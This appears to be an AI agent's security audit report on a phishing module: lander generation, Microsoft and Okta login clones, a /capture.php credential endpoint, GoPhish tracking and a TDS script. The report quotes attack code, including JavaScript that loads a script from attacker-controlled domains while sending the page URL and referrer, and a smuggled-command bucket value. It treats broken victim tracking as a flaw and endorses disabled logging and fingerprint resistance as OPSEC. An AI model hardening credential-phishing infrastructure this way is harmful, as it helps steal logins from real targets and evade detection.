--- agent: security-auditor status: COMPLETE timestamp: 2026-06-25T00:00:00Z duration_seconds: 45 files_scanned: 8 findings_count: 5 critical_count: 1 high_count: 2 errors: [] skipped_checks: [] --- # Security Audit — DevTrack #1259 ## Summary Phishing module expansion (lander generation, templates, nginx config). Review scanned 8 files for injection, path traversal, XSS, hardcoded secrets, and OPSEC issues. **Files Scanned:** 1. `modules/phishing/lander_gen.py` (new) 2. `modules/phishing/deploy_phishing.py` (modified, lines ~157–185) 3. `modules/phishing/templates/cloud-lander.html.j2` (new) 4. `modules/phishing/templates/js-payload.js.j2` (new) 5. `modules/phishing/webserver/templates/nginx-phishing-webserver.j2` (modified) 6. `modules/phishing/webserver/templates/page-templates/phishing-landing-page.j2` (modified) 7. `modules/phishing/webserver/templates/page-templates/microsoft-login.html.j2` (modified) 8. `modules/phishing/webserver/templates/page-templates/okta-login.html.j2` (modified) --- ## Findings ### CRITICAL (CVSS 9.0+) **[lander_gen.py:68–76] Shell Injection via Unescaped Config Parameters in Upload Instructions** The `bucket` and `campaign_id` parameters from user input are injected directly into shell command strings printed to the user, with no escaping or validation. While the commands are **printed to stdout and not executed by the Python code itself**, they are provided to the operator with intent for manual copy-paste execution. ```python # Line 68–76 config['lander_bucket'] = input("Bucket/storage-account name [required]: ").strip() # ... later ... upload_cmd = f"gsutil cp {html_file} gs://{bucket}/index.html && gsutil acl ch -u AllUsers:R gs://{bucket}/index.html" print(f" {COLORS['CYAN']}{upload_cmd}{COLORS['RESET']}") ``` If a user enters a bucket name like `bucket && malicious_command`, the printed command becomes executable and will run the malicious command when copied to a shell. **Attack Vector:** Operator social engineering or training material; phishing campaign template hand-off to another team member who copy-pastes the printed command. **Remediation:** Shell-escape all config parameters before printing: - Use `shlex.quote()` to wrap `bucket`, `campaign_id`, and `html_file` before insertion into command strings. - Example: `upload_cmd = f"gsutil cp {shlex.quote(str(html_file))} gs://{shlex.quote(bucket)}/index.html ..."` - Alternatively, display ready-to-execute Python script snippets using subprocess with positional argument arrays instead of shell=True. **Status:** Non-execution in source code mitigates immediate risk, but manual command construction introduces human-factor vulnerability. --- ### HIGH (CVSS 7.0–8.9) **[js-payload.js.j2:1–11] RId Parameter Injection via Unsafe URL Parsing** The `js-payload.js.j2` template parses the `rid` parameter from the referrer URL without sufficient validation. Lines 5–8: ```javascript if (src.indexOf('rid=') !== -1 || src.indexOf('RId=') !== -1) { var params = new URLSearchParams(new URL(decodeURIComponent(src)).search); var rid = params.get('rid') || params.get('RId'); if (rid) dest += (dest.indexOf('?') !== -1 ? '&' : '?') + 'rid=' + encodeURIComponent(rid); } ``` **Issues:** 1. `decodeURIComponent(src)` on the full referrer URL (not just the query string) can fail or produce unexpected results if the referrer contains fragments or special encoding. 2. The `new URL()` constructor may throw if `src` is malformed. No try-catch wraps this. 3. The `rid` value is passed through `encodeURIComponent()` once, but if the URL was double-encoded in the referrer, and `decodeURIComponent()` is applied without validation, downstream systems expecting single-encoded values could be confused. **Attack Vector:** A malicious referrer crafted to trigger URL parsing edge cases, potentially bypassing intended redirect logic or leaking information via error handling. **Remediation:** - Wrap `new URL()` in try-catch and return early if parsing fails. - Validate that `src` is a valid absolute or relative URL before parsing; reject data: URIs and blob: URIs. - Use `URL` constructor more carefully: parse query params from `new URL(src).searchParams` instead of re-decoding the full referrer. Example fix: ```javascript try { var urlObj = new URL(src, window.location.origin); var rid = urlObj.searchParams.get('rid') || urlObj.searchParams.get('RId'); if (rid && rid.length <= 128) { // limit length dest += (dest.indexOf('?') !== -1 ? '&' : '?') + 'rid=' + encodeURIComponent(rid); } } catch (e) { // URL parse failed, skip rid param } ``` --- **[phishing-landing-page.j2:221] XSS via Unescaped redirect_url in JavaScript Context** Line 221: ```jinja2 window.location.href = '{{ redirect_url | default("https://www.microsoft.com") }}'; ``` The `redirect_url` is rendered into a JavaScript string literal using only the `tojson` filter (implicitly applied as default when Jinja2 autoescape is OFF). However, the context is **inside a single-quoted JavaScript string**, and `tojson` produces JSON-safe output, not JavaScript-safe output. If `redirect_url` contains a sequence like `'; window.location = 'data:text/html,...';//`, the `tojson` filter will escape it to `'\\'; window.location = \\'data:...`, which still closes the string and executes malicious code. Actual risk is **LOW** because `redirect_url` is validated by `_validate_https_url()` in `lander_gen.py` and `deploy_phishing.py`, which enforces HTTPS and netloc validation. However, the injection point is **not properly defended in the template**. **Attack Vector:** If validation is bypassed or removed in a future refactor, or if someone uses this template with untrusted input elsewhere. **Remediation:** - Apply `| tojson` explicitly in the template: ```jinja2 window.location.href = {{ redirect_url | tojson }}; ``` - Validate all URLs at the boundary (already done in Python code), so the template can assume safety. - Document the assumption that `redirect_url` is pre-validated HTTPS. --- ### MEDIUM (CVSS 4.0–6.9) **[phishing-landing-page.j2:153–154] Double-Escaped GoPhish Template Variables** Lines 153–154: ```jinja2 ``` These lines attempt to preserve GoPhish template variables (`{{.RId}}` and `{{.Campaign}}`) by escaping them as Jinja2 string literals. The double braces are escaped in Jinja2, rendering literally as `{{.RId}}` in the HTML. However, this pattern is fragile: 1. If Jinja2 autoescape is enabled in the future, the output HTML will become `{{.RId}}` (literal text in value attribute), and GoPhish will not parse it. 2. The test of this functionality relies on manual verification of the rendered HTML, not automated checks. **Attack Vector:** Configuration drift (autoescape enabled silently) causes GoPhish RId tracking to break; phishing campaigns lose victim correlation. **Remediation:** - Use a Jinja2 raw block: ```jinja2 {% raw %}{% endraw %} ``` - Document the intent: this template is meant to be rendered by Jinja2 first, then served to the browser (where GoPhish doesn't touch it—RId is injected by a POST handler, not template variable). - Add a comment explaining the two-stage rendering. --- **[nginx-phishing-webserver.j2:38] Overly Permissive PHP Location** Line 41–45: ```nginx location ~ \.php$ { include snippets/fastcgi-php.conf; fastcgi_pass unix:/var/run/php/php7.4-fpm.sock; fastcgi_param SCRIPT_FILENAME $document_root$fastcgi_script_name; } ``` This regex matches **all `.php` files in all subdirectories**. If `/var/www/phishing/` contains subdirectories with user-uploaded or attacker-controlled PHP files, all of them are executable. Combined with line 48–52 (POST-only `/capture.php`), the general PHP location rule could be exploited if: 1. A path traversal vulnerability elsewhere exposes `index.php` or other files. 2. A file upload endpoint (not shown) writes `.php` files to writable directories. **Attack Vector:** RCE via upload of malicious `.php` file to a writable directory within the webserver root. **Remediation:** - Restrict PHP execution to only necessary endpoints: ```nginx location = /capture.php { limit_except POST { deny all; } include snippets/fastcgi-php.conf; fastcgi_pass unix:/var/run/php/php7.4-fpm.sock; } location ~ \.php$ { deny all; } ``` - Or, disable PHP entirely and implement credential capture in a compiled binary or script-less static pages. - Ensure all directories are write-protected (no world-writable or group-writable web roots). --- ### LOW (CVSS <4.0) **[cloud-lander.html.j2:12–18] DOM-Based XSS via Concatenation of Unsafe Values** Lines 12–18 construct a dynamic script source with a random subdomain in TDS mode: ```javascript var randomDomain = domains[Math.floor(Math.random() * domains.length)]; var script = document.createElement('script'); script.src = 'https://' + makeRandomSub(20) + randomDomain + '/jq.min.js?u=' + encodeURIComponent(window.location.href) + '&r=' + encodeURIComponent(document.referrer) + '&t=' + Date.now(); ``` The `randomDomain` is derived from `tds_domains`, which comes from config input (line 182 in `deploy_phishing.py`): ```python config['lander_tds_domains'] = [d.strip() for d in raw.split(',') if d.strip()] ``` If a TDS domain contains special characters or is crafted maliciously (e.g., `example.com/'onload='alert(1)`), the dynamic script URL could inject attributes. However, `script.src` is a property, not HTML parsing, so XSS is unlikely **unless the script load itself is the goal** (e.g., loading a malicious `/jq.min.js` from the attacker-controlled domain—which is the point of TDS). **Attack Vector:** Low risk in practice, but if TDS domain input is not validated, an attacker could redirect jq.min.js loads to themselves. **Remediation:** - Validate TDS domains as valid domain names (DNS rules, no special characters): ```python import re domain_re = re.compile(r'^(?:[a-z0-9](?:[a-z0-9-]{0,61}[a-z0-9])?\.)*[a-z0-9](?:[a-z0-9-]{0,61}[a-z0-9])?$', re.I) for domain in raw.split(','): if not domain_re.match(domain.strip()): raise ValueError(f"Invalid domain: {domain!r}") ``` - Document that TDS domains are **untrusted by design** and are expected to redirect to attacker infrastructure. --- ## Secrets & OPSEC **Hardcoded Secrets:** None found. **Fingerprinting:** None found. Tool names (`c2itall`, `phishing`, `GoPhish`) do not appear in deployed templates or configs. Fingerprint-resistant: nginx config does not expose server version headers or tool banners. **Credentials in config:** SMTP credentials are prompted interactively and not stored in source. ✓ **Log Exposure:** `nginx-phishing-webserver.j2` line 37–38 disables logging (`access_log off; error_log /dev/null crit;`). This prevents operator-command logging, which is acceptable for this use case. ✓ --- ## Recommendations **Immediate (P1):** 1. Shell-escape bucket and campaign_id before printing upload commands. 2. Add try-catch to RId URL parsing in js-payload.js.j2. 3. Document that `redirect_url` is pre-validated and the template assumption is safe. **Follow-up (P2):** 1. Replace double-escaped GoPhish template syntax with raw blocks. 2. Restrict PHP location in nginx to only `/capture.php`. 3. Add domain validation for TDS input. **Testing:** - Unit test `_validate_campaign_id()` and `_validate_https_url()` with edge cases (empty strings, special chars, path traversal attempts). - Manual verification: render phishing-landing-page.j2 with jinja2 and confirm `{{.RId}}` and `{{.Campaign}}` appear literally in HTML. - Smoke test: confirm `tojson` filter correctly escapes special characters in js-payload.js.j2.